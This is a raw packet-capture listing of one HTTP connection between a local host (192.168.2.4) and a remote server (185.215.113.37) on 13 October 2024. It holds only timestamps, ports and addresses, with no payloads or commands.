Oct 13, 2024 11:54:11.537800074 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:11.537813902 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:11.537837982 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:11.537847042 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:11.537875891 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:11.537884951 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:11.537903070 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:11.537918091 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:11.537940025 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:11.537952900 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:11.537972927 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:11.537986040 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:11.538006067 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:11.538019896 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:11.538039923 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:11.538052082 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:11.538083076 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:11.538086891 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:11.538101912 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:11.538129091 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:11.538137913 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:11.538162947 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:11.538182974 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:11.538197041 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:11.538214922 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:11.538230896 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:11.538249016 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:11.538280964 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:11.538288116 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:11.538316011 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:11.538336992 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:11.538347960 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:11.538369894 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:11.538383007 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:11.538402081 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:11.538417101 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:11.538434982 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:11.538450956 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:11.538471937 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:11.538482904 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:11.538501978 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:11.538517952 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:11.538551092 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:11.538553953 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:11.538573027 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:11.538585901 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:11.538605928 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:11.538614988 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:11.538642883 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:11.538649082 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:11.538675070 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:11.538687944 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:11.538707018 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:11.538721085 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:11.538744926 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:11.538755894 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:11.538774967 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:11.538789988 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:11.538810015 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:11.538824081 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:11.538844109 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:11.538857937 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:11.538877964 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:11.538892984 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:11.538911104 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:11.538927078 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:11.538945913 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:11.538964987 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:11.538983107 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:11.538997889 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:11.539026976 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:11.539033890 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:11.539046049 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:11.539063931 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:11.539083958 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:11.539122105 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:11.666970968 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:11.666996956 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:11.667012930 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:11.667046070 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:11.667073965 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:11.667098045 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:11.667114973 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:11.667129040 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:11.667134047 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:11.667135000 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:11.667135000 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:11.667146921 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:11.667165995 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:11.667174101 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:11.667182922 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:11.667198896 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:11.667201042 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:11.667208910 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:11.667222977 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:11.667223930 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:11.667249918 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:11.667268038 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:11.667273998 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:11.667292118 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:11.667305946 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:11.667309046 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:11.667325974 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:11.667327881 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:11.667340994 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:11.667349100 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:11.667363882 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:11.667371988 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:11.667380095 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:11.667428017 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:11.667453051 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:11.667470932 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:11.667484999 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:11.667494059 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:11.667495012 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:11.667495012 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:11.667495012 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:11.667500973 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:11.667516947 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:11.667531013 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:11.667532921 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:11.667550087 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:11.667562008 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:11.667567968 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:11.667574883 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:11.667592049 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:11.667607069 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:11.667608023 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:11.667625904 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:11.667643070 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:11.667650938 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:11.667659044 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:11.667675018 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:11.667687893 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:11.667690992 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:11.667704105 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:11.667716980 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:11.667721033 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:11.667737007 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:11.667743921 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:11.667752981 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:11.667769909 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:11.667777061 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:11.667784929 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:11.667799950 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:11.667802095 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:11.667817116 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:11.667831898 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:11.667834997 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:11.667845964 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:11.667862892 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:11.667877913 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:11.667880058 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:11.667892933 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:11.667906046 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:11.667911053 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:11.667932034 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:11.667933941 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:11.667951107 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:11.667964935 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:11.667964935 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:11.667983055 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:11.667983055 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:11.668003082 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:11.668019056 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:11.668029070 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:11.668032885 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:11.668049097 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:11.668064117 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:11.668071032 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:11.668087006 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:11.668090105 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:11.668104887 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:11.668119907 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:11.668133974 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:11.668133974 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:11.668150902 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:11.668164015 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:11.668179035 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:11.668179989 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:11.668195009 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:11.668207884 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:11.668212891 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:11.668227911 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:11.668234110 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:11.668243885 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:11.668255091 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:11.668262005 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:11.668276072 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:11.668284893 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:11.668292999 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:11.668307066 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:11.668323040 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:11.668365955 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:11.668447018 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:11.668463945 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:11.668476105 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:11.668500900 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:11.668545008 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:11.668670893 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:11.668687105 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:11.668701887 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:11.668715954 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:11.668728113 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:11.668730974 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:11.668747902 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:11.668771029 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:11.668771982 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:11.668787956 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:11.668811083 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:11.668848038 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:11.668859959 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:11.668875933 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:11.668884039 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:11.668894053 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:11.668909073 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:11.668914080 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:11.668925047 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:11.668937922 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:11.668941021 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:11.668957949 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:11.668963909 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:11.669002056 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:11.669020891 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:11.669182062 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:11.669197083 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:11.669230938 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:11.669251919 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:11.669382095 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:11.669398069 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:11.669414043 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:11.669431925 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:11.669466019 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:11.669549942 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:11.669567108 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:11.669581890 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:11.669595957 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:11.669601917 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:11.669612885 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:11.669648886 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:11.669682980 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:11.669794083 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:11.669820070 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:11.669855118 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:11.669855118 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:11.669868946 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:11.669882059 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:11.669907093 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:11.669924974 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:11.669939995 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:11.669939995 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:11.669950008 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:11.669959068 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:11.669960022 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:11.669980049 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:11.670020103 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:11.670084000 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:11.670099974 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:11.670115948 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:11.670130968 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:11.670134068 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:11.670149088 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:11.670178890 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:11.670212984 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:11.758105040 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:11.758178949 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:11.758214951 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:11.758223057 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:11.758248091 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:11.758281946 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:11.758302927 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:11.758302927 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:11.758304119 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:11.758316040 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:11.758333921 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:11.758351088 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:11.758383036 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:11.758383036 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:11.758403063 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:11.758440018 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:11.758466959 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:11.758500099 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:11.758527994 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:11.758533955 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:11.758557081 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:11.758585930 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:11.758591890 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:11.758639097 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:11.758645058 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:11.758675098 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:11.758697987 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:11.758711100 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:11.758737087 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:11.758744001 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:11.758769035 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:11.758779049 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:11.758807898 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:11.758815050 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:11.758832932 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:11.758851051 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:11.758876085 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:11.758902073 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:11.758905888 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:11.758936882 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:11.758960962 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:11.758970976 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:11.758999109 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:11.759022951 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:11.759022951 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:11.759073019 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:11.759083033 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:11.759107113 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:11.759130001 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:11.759140968 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:11.759167910 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:11.759181023 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:11.759215117 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:11.759231091 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:11.759243965 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:11.759282112 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:11.759295940 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:11.759315968 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:11.759341002 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:11.759366035 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:11.759376049 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:11.759423018 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:11.759423018 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:11.759457111 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:11.759485006 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:11.759493113 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:11.759510040 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:11.759526968 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:11.759556055 CEST	49730	80	192.168.2.4	185.215.113.37
